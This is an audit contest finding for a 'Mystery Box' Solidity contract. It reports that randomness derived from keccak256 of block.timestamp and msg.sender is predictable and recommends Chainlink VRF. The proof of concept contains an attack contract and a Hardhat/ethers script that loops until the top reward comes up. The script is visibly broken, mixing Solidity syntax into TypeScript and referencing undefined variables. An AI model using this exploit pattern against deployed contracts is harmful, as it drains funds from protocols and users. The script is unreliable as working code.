Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

[M-1] Use of `keccak256` for generating random number

**Description: **The use of keccak256 is a weak method of generating random number. As the protocol

could hacked as shown in the Proof of Concept below.

  1. The malicious user creates a smartcontarct, which has a global variable of value 99 and also

    a function callExploitedOpenBox().

  2. The function has a require statement which reverts if the keccak256does not return 99( The highest price)

  3. The malicious user then creates a script which has a loop and keeps running until keccak256returns the required value 99.

  4. The user finally claims the reward.

**Impact: **High/Medium

Proof of Concept:

First, a malicious actor can create a maliciuous smart contarct as below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./MysteryBox.sol";
contract MysteryBoxAttack{
MysteryBox public mysteryBox;
uint256 value = 99;
constructor()payable{
require(msg.value == 0.1 ether, "Not enough ether sent");
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function callExploitedOpenBox() public{
require(value == uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100,
"Try again");
mysteryBox.openBox();
}
}

Then, loads up VSCode and create a function in hardhat to call our exploit contract

import {ethers} from 'hardhat'
import myContract2 from '../artifacts/contracts/MysteryBoxAttack.sol/MysteryBoxAttack.json'
import myContract from '../artifacts/contracts/MysteryBoxAttack.sol/MysteryBox.json'
//malicious user calls buyBox
async function buyBox(){
try{
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545/");
const accounts = await provider.listAccounts();
const driverAccount = accounts[0];
const contract = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract2.abi,provider)
const contractWithSigner = contract.connect(
await provider.getSigner(await driverAccount.getAddress()))
const buy_box = contractWithSigner.getFunction("buyBox")
const tx = await buy_box( {value:ethers.parseEther("0.1")})
await tx.wait(1)
}
catch(e){
console.error("Error creating Driver:", e);
}
}
async function attackOpenBox(_n:number) {
try{
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545/");
const accounts = await provider.listAccounts();
const driverAccount = accounts[0];
//address below should be changed to deployed myContract
const contract = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract.abi,provider)
const contract2 = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract2.abi,provider)
const contractWithSigner1 = contract.connect(await provider.getSigner(
await driverAccount.getAddress()))
const contractWithSigner2 = contract2.connect(await provider.getSigner(
await driverAccount.getAddress()))
var rewards[] = contractWithSigner1.getFunction("getRewards");
uint256 rewardLength = rewards.length;
console.log("rewardLength before Loop:", rewardLength);
uint256 newLength = 0;
uint256 count = 0;
while(newLength <= rewardLength){
count += 1;
console.log("Count Loop: ", count);
const exploitedOpenBox = contractWithSigner.getFunction("callExploitedOpenBox")
var newRewards[] = contractWithSigner2.getRewards();
newLength = newRewards.length;
}
console.log("Done!!");
catch(e){
console.error("Error creating Driver:", e);
}
}
buyBox()
attackOpenBox(99)

**Recommended Mitigation: The protocol should make use of better random numbers generating mechanism, such as **Chainlink VRF

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!